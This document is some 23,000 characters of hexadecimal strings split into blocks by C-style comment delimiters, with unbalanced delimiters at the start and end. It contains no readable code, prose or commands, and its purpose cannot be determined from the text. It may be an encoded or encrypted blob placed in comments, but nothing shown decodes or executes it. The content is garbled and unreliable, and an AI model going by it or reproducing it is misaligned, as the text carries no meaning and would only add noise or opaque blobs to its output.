a6773b0659687a7696223f9802e9432aed393afac7017c510419f9cf60d71a3b8ddbf9edf207489f01d29b1f264a0aab37eb7ae6d6b2c4e65994463a1a8e84ae434b6370d2767ade1edfe78d05ec8a2600ce3e0e8cf3468965db3a741a88a035425ced341d004210bd42df048ada55b01c93fdcffa818dc1cfc52bfa9e9bebf40b98bb63ba341340d07af915607bdff6f098dacc041d768dfd86e8f0b7c923254afabcc9d2ca22f7a76c4d87334a9a5ce438fe886f61996181d7c140c2a4d486259ff5924a155f3f855cafd5bada9cfafcfd325d01682acf9bf9fadf22016163ea4f7fdb1c0262cfd2e74400385e0ff593dafbaec2409151267cc70bdf5881f7b9e9e5b7837781ddded8d984283187f87d1092c665b844520dab38acbdd1a7c39dd7073763c6bb20781e669f6a8b4787ec8be672c8f779c4d6a12da7ee3520801cbc603246230b7218e6bead1ff57478b4c2e47518acdad9d7dae258e9cfd66db76a94076887d66bddce1ae2c8c26b93f7642e3863275183d5c629062a26beb9fd10e132777fa3cbbdd09be704adc13434f24b3a45abd1aff04be79b12cc66786f17fb878cd1f75e5362e0f5d3c197167eb374d8acf5a7aea7dcef5d134231a22f1d4f0fe9c8d93a91bbfbeddf4f9dcf0874edd684d1c4d621a619a3fdcd0cb84a84fc8e4d009e5e5a3ecde79a07b126f57f3cae1167562e07529fb3a8d4ba25461403c4c8d38ecd6c427bbe2d681b68e1adde810385f8ae58e658860f78092a3aa5d7832c8d9f97362d2b41506e8c70e8b36514e3d92777dd3853d1387840bebd72f6eb42aefcb3aa8699eaaeba5ecef0dbf3327aef060245595a412a4e795caf4d1ea68d53e3d778bee24c7e30244553c7669b4ffcb06012f7e22232519d8d7968e11097ddcf10839f1acf02859f3461a28a047fe53d491a8ef3f2c25c43a16d4f7de85fb2a45bf990c1215f25c48de6e92a0831e6ad9346e7513065027c55c6cb7f71c488a25ca341990c7f5f260da71ed80b47a776ffc80a5a63c17ded5077748d8e6669665a11117fb3d3a456df99582b48f1fa1dedd287e60970a33ee034453de9b50cf08d901f7936d0670af663bc810bda2e0d48da1ec267f90ab6b61b0b86c9cf8eb9b48bd077dde662bcbc21495d292e08ccda796cd1eb633cb427d2c5a2b7ee3dbb27e048c1168100629705b5641d479b6c4cc9e3062ec4dd320c0ba9b518c8a5c580632f8fdf2312436441d147e59ff0c3a39aeca582eef4023bca05e2b77f8b1f9bb4b8613f7e205a2a7c982279ec9970eef4bca5d217e1e5417b05a5d65cfb72d01710e007976baaa5b0e7222c8b0378e44a12a28704d30dc398df9094aa9c547e391a60339cdb8cda34fbe65*/
/*bd5bd3cc2fe17a2a1cdd3311847acbf5656e4903c813ad6e92bbc9085c41d284d872b81ff6c7ddffc253c05e2dfb3421b747e0846106444997e45e3de286ca0423d6244a75d8a37cc18099dea35edda04f9259b64ab742bd2aa162e7564b525e0569635d708cc1b0b202c190092394ff8fea25461f98e797f40017bbe21488711068543ed0e1fb4db9160e2522e680115b3c1894f08ca70725bf2156b717e2659467ecbaa1421d92dd1fcacc97d70855ceea274c99675ba37ef96dd663a3f7a106f93ca5d639e14c888b4e0cf3632c32ad553834fbe940f8ea56c4a474de6f9dc52a356153f0449facc119b77af9c7a702b4ea8a8f8d7b8c83aae8640819e4e548eec76bed9a4ff777629c75774ea9773069b22f9afaa028a2272c537525afafdc76152cd5553534a903095c6ffb5b8dcd80f398fe6d28723a670ac5a74bd576073022040aecad4f4c498b9d3bf9a7b0b9b5773ffd9714269833457584a6b0c54b6a7b5cd1d2508616321ea6a71ba7f330a694cda9e6410dafd9bb60915c884504fe7163322eb35deea9652ba3f94cd4d15e5a86a90db6857653099413d4ab27cb032f6763a0de4d4e6c3876967d129ae914fd54df6cff1064397ee35af7b778ac58e3407e00abc3b016bd51dfa5712ae3619681b339b3701a06171d79880b747652285975910d6d80d45d1758a8d299f56f439bc735119da77855fc74136f6e247760ccea54d77e6d185799dabc91b00cec9a87eecc53d61b569fca6bfbd38f33cde09016dbd9ba57d80f0d4629fbb4809f081568778149db15e210b558b8e44b7d1dd9eda9cb96f0fbb1d87b072f0558bb55335a499f0d10c7f20dc317cf8ccfd569daec19c01f04e80fed3264f9c5047c3594014ba4fad467d7b03335c21f15a9e92d152fbc4551c2ac52cebf0192b0fe33498e9b3bfb732559dd6212f2579c01fab508c2665201b7145a2f0e378733fe8504d3a167f4dfe5e64782944360bdba37434803ca4ad923386669082c8fb936b4202b5bf960220002b1ff856d88854e96d90c22356efe97c85d817677cc8031371f47dc1269f60a4532b81ca8ef6784e8cce8279086c293f5ad2c7506f46dadbc5e64db603933bdeb8cb907c668b044c2afd6c61e3bcdd5329570c476d1b06469b7260b8cc9f506487472f5e9e05146b66807f59b4c6716e12f41036d030ed8dfd0f63934e44ac8879ad5389b516d212a5fbde80e37723456f6f1d9d47d83ab29df01cb7fd3fc9378ef19843499be6300ec7df2261bd37c63fa37cb80c8cfbcedab4d7d24d76a4856d172620faa6227c707355c8177fa8fd6fe71b5e067c1d7959430f5a949af943d06cbf2200a9855cb2a0f8d01a79ee5b8fbc1e2ce8ab49fb88413cd4d4429a85d8a0f2a061619adfc3516b329752c51d3a91fb143e58e57b526d4658c1690155812becc2792cd29516706935ade35c1a4393539c8afb151c2677232fb0b3a5fa23667740022033dc55336ac35ec66bd3fdc7897cb603ab540050fe66f8c2f352b469b48b4326bb6a02ebb92176a5b737fa3b94ae61e7744b83508f662bd14bdb1c2760689d40b526529564cb8737298af61f09b9e2efb7537f13107a0b7f40008bc9229bea52bd15b413255680a524f22a0e55e2bebd95773442e86c6b2323f0882ed06a0f6c90c60ebf43ec583e49b6a5586082df3cc1fc5333142eed90fb8328136289955fba076b8c3d0eecff230252e77e1073a28894fe27fdba03676fce5f4ca22b2866acc9277c2a44af9c766fa3da6091c253b08afa52e15e50735822eb77cad34b9a981b817b19452df74c693fbfb997b0165ab78eddffcbe970cea29b2de9220d7e9dd0a360066f61e83bc5c5354b75b42d94a9ff408e115a926e1249981cc48d830d758402ccd73d0744ec477b783e789aedadb983fce915d446db8870c1e33dd4c8d2bf8197f378af04d830098240ffc96671d7c65105155841aa568d03d5eaa496c1ca4120187424667c46defbc06ddbfc4464c25c268f3a566c323eaf4e1604aedccf3e1596d92cdd31b6f85560817d393fae536e6a572ae4858a2e7d5dc41c3fb7c06842c386baea8eafe6a44ce5b109249bddab9c70d59c44f1070c5abebb7f9ffc5388148ff0f5d169b52ce01e06e8330425d1f7ef6d3c961a3400e2a0b258bc3b50fa0c610fda70a18f1ea2bc1858071b070a1898d3f5c4258500897fff72e4debe088ee602c1d96cd1dd810bace185610d20cdcacb11403b2a3e95b82e9c83bf3e1fb682a862f5205c28b1389ce62925e07d1aa2425cf5a4bd1f0594b50879145e24235b1616b891a5ff63593f347f4b4eb7e5592c96df61e045054cbf1c0cf632edaac477c7d90d383353b15822ba5235bc078cde979194609784a66ec485853dcd87d8cd74ee7f43001202c46eb476363a9f60f21ef92c4008116905801fd7867f1d9e02d7b03ac1a944929528d361d9d263322557f015ce6edfec0e51d44e6541a37d90701ed346f0678db0bf383616842c8349b17e706bf86160c1455750f908ab2e23ba6d5974cd142833dfcb82abd83ea77a3a7a1f99567be985ef3c4fda9bed238eefa6591b31e7cdcb759940fcddb0985406a155607132cfb4a5cb7440f587992bc97b16ae70c99f70458c6f4d5f57fa35ab5e0485411852b89cd9fe012f98d02f87c4bcd692e0f096b5b2b9d16ea54aef99692de47f2f041ae94f794096e7a5849cafa1c7ca01dd27177e2802e6a694714165d7d872cf2d91703819c9a5d18dfbccce09c296a1e3b733048d5d044e87dd553b794ea7470c1ecbb0ba316f600b93b17fb8386a6ec07*/
/*bba9e361bb3c47eacf171087da23c82c88d86b6b712e636293a7d222f19f954d14076803d5bc8d0db3c9adfb918d59c60abe2c260b8d0e97dc6190df7ab42ba3a9a777383aecf31374e442bedb40a2f5ad58ca142ab2658ab0e0747eadb0eb5331745477a6e00587b5189fc7218ba5382e81faf26b7c98415197bbb4e2031871dc400d41a52240394d86bc289a8e2ccf700878b5461338b21ba78449b166320e8d200dbd9b27890ac470b306d7d3a0261fa699ec512d4834d8f9c3e806a04b8111d4506f7d36532a426951fe01c40771712cbb54a2394d35b450bfccec5f56b86c13d67b103099311ba20d8bc66d07a0d143602ef3438024d70fb1b12122d79e0c47dccb5e22333e21634a727cbfb48ae8f463ab8ccee898fb71200538ab1e1855d7f882290de95353559967f10bc29c34eee2d17b647023385967e464a7db37d79a185d200d716c473bddaf5e1570ab80315d23b4ba0039fdfc6c0e424ea776d436e3cc6a02ffd1e7c9237e42c740c4fa782eaecdf92b485aabac77c643d106549f885c18cfa1a2700fd1a4fc237b5aae506ce56d6c8dbbdeb985b5d1391eb95b53aada1d72d3fa227b2f8c00e9ddc25138c731bf8eccb3d7657336d97a0d4e7a317736d6b9379fa7b892a969d557535931239b4b8ad24e610e63acf8835d1d5caaa0ffa53487088c9a8fc2b1f71f7a2e6fd8e91576764b3dace6ac5c8e2db195a04db51a3836a39d43004c1c5d05510a2646bbd044151276ccaaefd20aa127090bdbb17cfbff79a92d51d9fb4d993e36557602ad82e73cf92a2f364525718001f00fa157ec3f2c4d082744f01ad043212c6d2efd12a4d7ee53d41eb6cb39f586c1ec21334d2677d536fc4699aee34f7b5d9d7863d08fc083620cd746ad0f98fbe69bdc55961b5f83978b63e97b626b5e298fbefb28c85ac82f5959c53a61a440ee5e6349441529a43eb5c9078f6ce66623fc1ef80f358444d84729fe8249c828121cabe5cc748661638a72556c2ed1729b4a16fd93764c97f889b6df7ab25e833b70215ab0f766e4b90ba7e7ab648ff6735bae9e986fdec9b56a6d495c8abb0d79975a0eded90f041f1c894e81f439b9f41fe200ff33900d933b480212f9a3022bccaa40bc905c1e5dda3c3e59b71a332246ccd4d014d4f38f62d37818eca058d094a0d1dc09a65449dcfd00052f175cd8a2cb1898ec1ea2d6124837bf1582456d64d057a07b465649fb21dc3a94b19d61f09b8b6ac5c91444a48c25d0995c9a0b9cde80887785c156220f18dfa446dbf046e8bd08764ec5e79ac5e5211b6ae04163dd3a57120681eecf39941ed5bd5f7ea9c61bc94b560e7d78816498746ea2040022da63334413bd84b867a1e6b59b96f86a90758de0bb4082998fff1a8201ad8af69ffb8a7846cf2522e5ce0a386730435ad5239032e465422e09b3c383da8e2ad5e27a5c02813da9be4560ec20bc452e51283999fae446ec8a3ec66e94bde137f692e1bfa6b12d5a72c8ad332aaa8473331850c69fdae63795d1f3efab03578843bb000f13bec754877c3497f33d799b8c595f265b94b6fa7a493be7eb603e28e4b8a45e06a633e46b099afff9cfe0d2178c5b23c988188e6a301fe718c0ee785c1e2179a50c6021ea954ac45b156df7c1bae0131eeb0ec0cf57459ceea9d79b50ada910d1a63aebb00b7d60c27604cf27f9ddc2c345eade6bab2067d2670f43d6447c99acdce016f68a25e516051c5935583c58a2f80b2b71ef4d7b6bc64bb69c73d9e99dd563a7e5812bc658f58522e749df903663308d328a81079aab7cd449733515b549456938779c8f88badda3d831d16f2994d8c4e8adfacdcddd92f3c5b68db7e28ec1f99ddf0340dd72334cbcea0b30cbab1321f2e0595643b092ee463f8d59a8e2c4cf418dd3a745b5f44107ab508d97bb8d4165323f03902f04f9e3ba3a8f06f30c17d81ddca9e0ad0a290bc72e3b52c7e025e3c8cbf7c40b4f0cf1f004effb1caec833e8a36e5fdc49e0f5041856c89827ca459e567851de16fba137b72cba6266f65a04a407064fcece4945e3661d2dd8abf3946d1a574cb0567706ecf23018534f9d15006bad5dc054285bccc798ac9ffe38e50150555d76b5d457461319de2c8495fffe7d0ac4fe3178d76b7bfff0eb88fd0ed418b928cd26a734562ec4ccaac9c67095b93c7e2e92b974e32241a0ad721bb423f0fffd6d7f6321b395a9ac02b019690a4e89cc54b4ff0f2356c83c981680b79c8cf64d2c8c2e3c9eff75fb6fdcb491e1434d4337996e5468dd0d5435774c7512492ed9590dfd6ef6f80dfd898bb55ff07b9879f9e10fb7549d299d05e082c4ca9ef58ac4e47041b06dca528155cb4de03a8ce014bbe8361720523e93ffdda6cdcc59997a3d34c2c9077ebaee94b400c35c98cf393ebbec6f79d6cb2d43f431c47ee8840dc603b5e4702ae8c8c3d095ffe99af1c2bc3f8b6f53c109a327eeb9ec51e1bd687d66635c516e271f8231020d36bfd00ac6c1a8fd7b8cf08718d6ba7035d9247a2a88b53d0fe6e99d51c6c9308d231caaae95c4b9635724f1e56f39bd00f893ff47e800259b3047eb28e9cc4240fdb52bec1f143f94f1f9ccea8b9381ddc185a809a43a908b9508805d337dfb9f446beb6568322775b2c2e3b04b945ca7d97bf7c3f75925c4be2f626307af27e3b81c7747992e02fd104c6d7896c7b65e2f14fbd60bfe1d9a6ec46790b97cf9af2fe7b0353e273b9a8952c58a82976ee60b71455074d2e9d82e2c7c845cb01cb010f8b7a54c3b15a13b2db4302070b0104693d0e8094e2e391d6191f332e85cdecc*/
/*df3712587a86d9b49714b358d45f1b7b88b585c6922bd4fd29453046fa86fd69f7a0f3c47a6cfe304f5bf970febf9c2d1f860b58ad0a614aee4e0f418a6c82c37bade0b3d914ac61b08c600347af5eb6796ba0033ebadbd62fe2f3b2c91609e496d28699f358d76f802487a6bd0c5734c2bdfe4d6126847d683e58dfbe5d69dc31f18ee3b737dcc5f8c385f82b9d56c48853a5838cd4d417737d709b22ebc72397330e478b680f0fe78aa65c476e34732737f1150dc740403f4808b5e86aabee491003f8d1b3afd5bb1913363f87ca4ea37b3b536c65300b1d1e6f37712e605f080be406060ae0a62995622c768024e28d87266fc05d667f6753ca6bd4c924447cb43b29d173d868b7050c5095ff4bba6ce64668609f4ad0c8eb1c27ac7cb788efc3b558719cddc6a6bdee349da2d054697cf5bcc60a91e2dd32d23c0ea0911d8fa6a32d1c3c32e51603df8703812bb3786ebf2d66dacb84bf4d16b6117f75a4b7e8f7a20d797ebcc31bc077d2f3b879c888f9747104a0504442ab2963ede8467bbf7ef4228260735c2f88998cd07125dd2aef2221fa715f3269e23a44872053b80def90a6917f62ba17fd9fdec14231d6c2c66a5c1fdd52e35e8cc4a9c3f83473fdeed11c907a10da672a5dd9ce51d8d9a6af9598aa353de368a4a26073020aafd78b92730c3bf9e4b0a5392a38cb040ebcae092b6cfd8e529cb1a2549e0c1bc1734a74e9c2f8c042f8636cc5fdc7711846f219314f9f7d7392e9ac2259584deb0119823d04746eebaf6b4cd4cce1bd5264be8e99247b9b2fa01a3fe9afa860f725f11cc835998d39aa7fb0a83a15a647a6e0a55072b3a6612b51c0759f5c9b4947273bb0f998431b76e7c2200bde9c23f111acb8d118f7c7adc3f47c3dfa1a948ae0303b9e50d93b38ca526652294b6dd2791230c7fc3002fd8a96a58e148ce50aea001c1c36347044c5c43857ddf32052ce2245c9104b46fdfdc4eb95f3ae1cee6fcc7b9eb02ccaed469194ed568a86d16107e27f5212a01799027023b9bce196d9e1cbbe11988df72eb3fe331483840e9da22f9c2bc6bfb9a6647cc026cf4d66136b29cce8f97361f83b9fb7c9f6006c6ed3bbc592f027e446c8ffeba29c9bbd1430601f4631d91eecdc2748212b34d06f23f3e5d15be35537384d3228a6dc5921f6dba4ebe0d18a051c401cd10f1e95d2852efc36c28d87e60784bf9fd84f5a4c2ad2ca3527aefdd5d9cd8f2c1c7e3ccf619e40012cecc687d23d19269d7fe9fbda6b34e66206b04a24d3defd4b9204db8adcd24aacc8e4711dd616ff2abce84fc629adc3bc1ced1cbd50ba149c269058e03416c703b247d81097257c158dcb409536e9f1ace2ed447b17cf4e5be944bd5e9b7b7d621352e2c72cc247ca657a5b6156bb4b5047921bc97ad005a8d513030b13ce8eeab35f2f346daf5a74f8c3dd3ad6fd9695e17fdb7e713f6b1b92c2679750182b8ce6387262790f597baf0fd3424778de2375a5b2f02aeabeb65f3b536b794eafe7e710428e0d2b18035e6d1a71a84e071a6e12fa1bed2bb73ce35fd70490564867784d836661299e2dfbf4d0ee54e07b59201ab1e3380ea7d49641f6be886fb78a03f347320509805ee7cf66e7bb0ed3c3f024f2cbe5c80d5ad3fe2eff166468d4fc6c3f1c462fc298e0e5c3897370756b85e4b8bfc03af7aab467fcfe904197395af0136084c364d7010bbf2789307d57effc1983ca231bf5690f9a772becbfd0b353707a0bb5d09a1040c13e18834a4c4b2b3d6a7d48915ab2b691463351024803ed106b23a330dd0e238c493cb436c57ec4e00ef596719411607f68488c81b1f507e9e3bdcf408b97df75070850319f612c0212d709475d938d0659f148399ffb13b2acc9a9ea0399d5cbbdd233b2dd46b9cb43de97a00f8cd9e5dd5826df3a0f6dfde883c0b3a77c25b097615f24a53b78fe8d8a7261e1a95e7d79df715f120c31c213b89c2ec3d4e76094655920c55db13a122d8793b8b74976603e969dfd35139da8aefa3487a3ac0dc0605dc9b2a55cbb604f75f98f6548501f423b0e18edc7acc0f808b8273511afd11622e371557250be4145bff9ca9e811a17ee3b2619492d6a25904d2d0a42a4488c17837cdc0f6f2a2a21c3d94de82c002b5bfd21672f96835d99c7a9a8af98d1bcec74f16f6bfc6e5127230c785d56185363524b03b48c20ec840bbe0d43dd723212b9b2b84a2b5fe36ad8ac505a987caf3b0363f1e32508b8a12dd16eba89a5700971b56f9d61fff6e6fbf1e4d61685feeb9cd2c6473486007afb5ac0aafe7a923ed54cffc6475fa1d6600eb984bfa6261e2a64d2f13c8c46edcd24e46431f33415473e1eac26af5e5a4043ae73f67b45796dbd22dd0bdbc54352b71e0611ccb2fcb1114f003acfd2aa0c024ef3851b074d5a4e0e48da4fbd7d2417f47e94f258fd1c5e000f10276dbe3f7b12fa110f2bcda29057338a36dc62ee3136ada465c49789cd1fbb5f92febf11aa5ce248999a235f991b1d32324bcb99eb2ef5f3851ebc92dfe79a80525330acd01c55b3fe2e9188823dbf3c534338023e94a368078f67624413e434cfaee2290ca6aa9f51303f7b34c4cd8bbc5763efe04059fa630485b2fcd2afe601c74c8df2366145f5a42fd0a30ecba642b8276fb72cf472468affcdcf5f371ded4a3058a8f4378fb0d042539fc4f8ebaeaffb895f10175fd44aff9439bc9a25cb26e1481e46880ae106ff2e512e6ec9eb1c8a538c6e222b05ea3619ac4d6496e9061dbfbf3132dbb52f09434b59c6e6604d0f075846930c788ab719b6af10c3d9ac5e4abf*/
/*13fa58bff5831cd314f5348fe3ded0dc8ac24312a4c071d4fbf2e95ee5293a5e597b20c32febb3aa0f4bff5ae1501a6237ca737a3572effdec929bb6e14424251f3d840f8f3e2791520130f3924398e2b82b7eb6fd43fcc41918319ad271ef810d0aed8de69b2e2d40cf448a5ff7361dc55edfbd24b050a584932071195b527090121df4b9aab233b1a77c4ba5c691c5221eb97d138782718ea15fb759a4bd4e3383ae17414a087b4a211422f41851ed989fc6546c120e1b03c45fc528759f5c2eba68b8ee2aeb7511274a36361bec1f88552ea58fced5df42d674d5dd76c2416ae4f4fedeb94f0ec532f396477be672e496da16647cc9e7a01578e1d002acd08c8a4636c1acf55a57973b1ca3f3d8e698e31d3a999bfdd5edb10495f0b835775bd236c353572c5df14658dfe633d8bf4b2a299f321f3badf1fae73426ec4bf9756f1ae0162589abfb5878984607b0edfd4c61246e7fb31d85370208d003d535c5109a0880b1397aaebae27a942c69a7495867842ba4ee11966106b2096ed6e1c7399ff71b12f5d359960bea9399a3f65a466b3eb57bb91ae5b380bb964930da59fa693281b4ae4c75bb9d9c2e0a215f3ed2b4a9d4b7c39efe13372e17aa147044abff4a5150e9c0cb98792595e1a53263b1ec2c43b749eafacb57d9fba8c7fac4646e00f0cfb8749afe9cd5a9412f3bd16943abe29d1d4962a16d61825de59b24a0b0e30af44b735917ebb0485284a1488bc886743a0de0f478b5275b7f5d2dde1e537111f4676bf48e608ce26a11f795d02e09e9b0ac9c489c269ccedbb1c9b8f9db443ca49120c3cecc9bd4c2f93095931997e87e8ea366e4a2f754d67274fe0bc525c4778b8d60c8d96c7cd019a2b99607a711c5265bc0831a48b4bdbe4d6e25f48767b98906834fc7bd157fc0deed3c96b0d05008bf3670746dd43c135f35151aede855e10032e28a7aff29e65417758c14d7b034e62f141bcfd0dad4340168148d2868ea80c8325598eb9d6c2b70b6f922a287be6ffb366a304505e16a2e7f92c8b45dc424e3a55707b3e954fc26eb0508fa7d671132d258e37e0f17983c9838d595cbc7a8c328cb2172dbd7740e15981391fe3465451587133c60c0ee5c50df5503929f5bd8d4c98f51286bf61992a1d1843d15a2acbf6156010207f86da2e2d5e53d0b1e0bcee6e496c3f349527bfa03210519c9815cc2511fc91d1101aeb5dafb15f1eb4c8021b5ab58a642325cccab1f3433e6ca7e917f69b48b00b475a8378631eb17e3327cb50557f8beb2b075b463331815790fde5739a12ed7a91e06c12a2d5843375e3ac9771109944760938bb4a70702fc17e29331f879524d0ace6ff3d5b2020e931cb00b37ccb73f83d02119bc7a5317f01cea5d8f5820aca9c3e357deb73f00d26297f071df0ee3786173439a6d4a764e72888fc5ec7e03f6b000dc1305c1ec3cdfac94cac15d15da05b38b940a290f150ed01fdc440750b5317ba62de55bf7689ca4f662d42cbbe2bc6a5ce04e845d5ac339310e2da0a67f31d705989b15e0ca60a3d45f85aec0876ceb2c965c9059148e603e2c66ca6730cfbaf6d4ee79a417d9709920e70e474fc91373647e0b7e59e7ab7014c1081a56f6454ec2da32d3d44f769cb0bdc943b3014296497435ba780de4d56591fd78b76faaf41103857e43b6e2f6438f6e0ffb36ddf08710d0153bec75e99f5d1176f486b917bc10496d1465b1c537948c43a29bde1d1dba9ad37bc0f2c9657b8b9c1179ea81b9ccc71c080dab0f9fd7b3b902e4dce80c5240daa9e3641e0f98459c9ec0754778733e84c8eb4724940d4b50034fe450a8f712b7300429bf610a74c70539f846bbe63e37b20c793a757afec6ce907f4bf63fdc55c83ce93125bdee652be7d8718cc02c907db5cbd2a4ca1a7248092285ea24c3e7a39b86da3938d7781ff239d51cac87c77f8457a72385f192070af114d49a27d49aafd62472af7a4ce4906dc8753e0a6d39c386d47929905ccfe11f7e301eeb45455af832060332f4485fca8fe2d1a172b42a12b007284649b9bcc56fbab6a89ba2466426ed5470b2dd836f4f4beda0579ca798d2eb2e951f5611ad51ff3cd96ad1b9ccfd33acae0be2a0cf02e2ea69dcf7d27ce9d7327b2129abeb17678bf5da163a4244014286628bfb3677f3f373bbbef47d53fc186097ff36b39bd16064cb014758d57df68cf816c8886d27a7518a0615f9e5f6d468995077a3d7f87dce3417c7bc4366467cb4227ae6518818e1fbed9ed9544b8009e5367b6a98e7faaa9e4f1793bc4b08e60814341703997d31de2b7727f7488cbdbf79b4b83aea15985ff6787f21be238879c3fb568ac260f77b85679f901caec157e891b42406a7f9d372a204eeb66a76ee2d6f562a2430f99175f2d347acfdec1607283dee722a148204daf689aeb2f66fc0b925d7190ccbe1854b0f412d8703a2aef5349a825cd3c0f146c5cb99aebd8473a3ac36bcafd87b2e32604b43443673f3be09c5d7de4e34c8c7e1d951c4d944b071b9f892d88e23a4f8f88ddfb5e2a35390c2761e2b643aff547975008e6d9ff948cff946b5ea57dedff7a19c5c3ef79659bb499a716d3523b9c1090e8272f6a872af52a48d9b5691a6dc5d44ff5d11290068f31570d65a4ade3eee4b6cc9fa46eabd6ff04cfeb0aaa40f9e4375ebe042733b9b03d7cda5255ab2f1eb471ed0c6e0b96884d0deb7fa75fd1884338afe70e14fc06bb7edf650016e78c990a529c03073ae37252dfe35b71214feafb74092ad56912681c22d79c747e62fd433561ec01d90382fa12e206f05f9f1e216*/
/*d389eb75e8c4c614b9b68c83966ff653b13c871dab0500b2c2a3d98a3ada47b781e991f4cbc84cb71873872f6a6defa501d4bb90da28a6458958f2ccceff87995ccdaa706925816af6effcbbb8825977eacd45a7d6bc27bb3ae496c4be471738015656d5f8f6b3b9ad443eeae6ba536a35b34688c517790ff121a50a7c33f48fc47245568dea654686aeab97fb034542c9e2492f305e875c1fe4e857754bb229804883d8c2cfbb4edc5903b69122898372b3281d0583dd3fb349f14cdc3de2dc2afff3157de824597eef64189a18cc874c8744cf5a90b3a3ae3761eb646eca5f30324bc4d2b59f45190d563bb6f3034c0267e5199cc5377e3d6fd13d0ab22eb9cc29ed4265e201b4980f8d6bd9f9fe1170e14808c6c66516aace09f8799ce8743070a58db0f0d9ca40ae935c28ddcec4a8b12c8ffac0430c16f5f2b0ce1512c4238e90898745675560add4d409887138150bd119ab60f938b33dca254a2cc47586e3d1832741ea1d48902a2832db5d1f3842d528782efa0385989fe31515a0f7609595ee109494dd08c3f02f5091347cb8508d273bad7c76890cb5ebe4439e3b5abc3e91dd2f5f1e1e2a249b0d85aa187d9b09c329092784c477b7028fbd7e53ad30d424a11cc0b41f8c1d39785123a80ed0e5844042ee5770065dc75859c85b725df75e52c4d52fc3839a603fcecb5b4e16ef9e069f54f0c3a78aa70ca8b55d508d0cc63a5fda9d453a7e01c32bedf1c44990ced4134072979b52b666990d22027fb3c9c3ca24bd229bdb160200389e36797ad1f6c24a5b379c6f8dcbe96f5c3e619fd1cc3a0f22eb42c84ca83a3c445c1f9051782f9d4f176d807becc890096d6ed94477b48b6b50e285b5c71c1733cf5a6556f23239b51767f9fbd42931a8992851622b768882e00f77cceed0ec314fc9948768e421e76d2eb535beed9be2af4dbcf5375be110f0f3820bf7fdeda9d638bca0a7c5461127d40d8e0b6a0a02e327b730f7be4e81e76242ac198831103f0185f5202e6ab5cf14f81b2b36fdad4801ce01457bad680f66c5a153880bd6fd6eef6d8d73d8bae6db135760b63bfa4db070db28e48d537bf0e01f4d7b4c73a80b4b6807e46381fcfe0f0b02459791ae0963b3fefee121a591beed9520d76a61e8d8c2025cfc0c4a0e7c6daac2df3665b011ace690e92003d6661daa009c0ffbce37103d1b1f6cec64d57980e24410a42854e88a126bec2f6dacb42f9a2e378ae127fef2e46d89c783781aa0902581f70971ee8242b6eaab6c09b92f2c938f68303b0f16aa10a783b3abcc545ef240e1fae7d5b81d0b90b114364e07cf7521324c628a39fa641fe40d749573918558d3b0147735100850507139894de6b0e3fefee48fa4429ce76725e80e6a1e38b7554b94d242717b19515b428aa239d7c6e6d9c0de436207ca05c6c35890af15c1039f3399940dc4a04f6356a9af10221ce710b86a7f1a213d3a7b7d808b83f8b3240e4e0ea821bd73ce8ce500b52968922b45524d535caa1ca229255b050623b38ba03e3e553a4d3687966af0096910d7e050fe221e3bd312c8646933c05d31f9054fa9533f5f02079e16f97d631770366c0aa3347cd2ca6cdd1125ca7e09a2be9d054b10eea9208360bb63b13bfd94a4f75d3f01218373d651adb83d708b10c01c0bf62d44da06a975d9999ce39a32bdceb6fbd265e27c3df0f98611fc25a4c19c4acd00446c33c9e16a22c17c33bc08a8eb1fc130eb4e5d91cc197abbd21aeb52b241e64999aec2965d4fdd26e56f48e30e0c2b9b6d7582e0b137d36c487208cab37b00f0e6db6f9ecbd44ec233b595bfe69d07f6c86f022af2526f170d1d8c0b3beaed7f31cfaa430664fb27146708cced9cbea727dd4a29782f8696d9dfec8c685af9fffe8d3cc174fe12e6087fde81ddd790c9604497e4b53be900e5eb33e3886ec3be5c5c3e56d16db935ac9f6d246ba1a1f52a5e96fd585f6872778d7055c5c661a8015ff333e051e3b58927104fe2e3785bb99bcc5c9dc97b735a4c1007be1009f60c17e2e1843fe46fbf51a156b7123b073719009520df07784867527bb0e7f6efbed2e9f1b50e71202dd141744d048c26be8c5e13e80354f57e35f5042ac3a2eb17cdf52e2baaf0f4509fce6a5ee2aa8c0829d7c29f92155e965470185fc3168fbeeeaf67a0354509ecd625ca0d5d1540adee0aaf5fc3e6ecaf088954324484555f00dc660fa34ccd5dcb23773ff3532c08d2e523ca1a9f02dccd017d91b11700f86a7a3abf4275086b8035f3e650cda9643f2e0aafd03e6cfa36cebe9049bc1dfd732ff379e3e32e91685f83fb50fdce5b145fe5f2c21303e4f56b045f7478f200ea10685a953bbd3cb3762129b6699737e8a2ce163224286bc0d83723c95d2430b09830cba46a17fe6e411ef3ffd1d4c4f66718a6060ff0a96eedbec7d3ac8b3fee8b6c1ea29118b405f43ece0f13bd04e9d0dba6d3f166f2838030f99912a2c84f209afb0121e5b8b4f53efa507043885c22fa67eeb22fcaf3d301d8de387a7f20fa2d48e4222d8a6a4103c86a15e8beebe92d7fbfe9a202187eb817beab516e59e5a6276a9aea397f2682c5b4d94a4d60133e49beca14a619e92122175df4e2e4ceabc13346e29183b8415b0bfb15f5f2cfd6378c96c51a0a476c2778f2fee9108a540d75ac568bc94bf69ee6904ba7d8fe528b2fabceb9aaf53087e3df755b5244500317db1b663a9a394505ece12ebbf7a2f438eebe0cf4f5ed9d94ab5f127d26a00ee08873629fb89d439f495046129b892ef30404a3d5f661c46bdefe9d117a7ee00895a88247d1*/
/*97510085e83e59bb42de98ba2126ffbc73bd0f464411b46a18702db3b0a2d4d8059e891095b86a0a762f272ad646d496dc3fccb4c7d6bed5e657a495180f87fec7d0ed6a7c9f1bbfeb642acbca8c0ce7a93fea3216e41cd95868c22061dea4480c2c0ed7bbf75a12a6cdd81e85f04e63a69f3918f2bcf8d57991ed5dacb71af6b5bb02b63ed998be680cd75a00740f482c2a4b37e2064698581317e1fb9e7d8cad23a6ca0acdca695c6d8ac1faefbb9170192d5a0fb8f4128e1bbfbd8f8be0dbf1e8ebc0161552b129c982e3301dd0004c8356eac084965e01c80a04fbe945df8025314585227149d1b99b71c93024fbec6e19c43f3a55674c408736bd737b55d07dfdb75856e10e3fa46d92a3f499d6a8fd18503976116a3da7fcaae8af34549cbb50ec3379030d2b007e051b2ccb169f68b50af2ef8bd80cf063e87a229bf009331867f44add151f77a73efe0e0216d1d13490b5489d3611e445138d62d1e26ac6fb26db3f9d919ee6dae6e88c9762f1024c9b44d29516cb908325dac2b437dd0339281069b1097f67d7799e97c2575bc7277ea149cefce9f5d57caa576e999970988bda8eccd4f5557a680426706b61c9581cd907af1dc1311bb32bc533827d39cf3e4a829ac362ea4f5b9f2ffa8a91a234fbde67292968ab93988bae08509e1e4c1f1b34fe3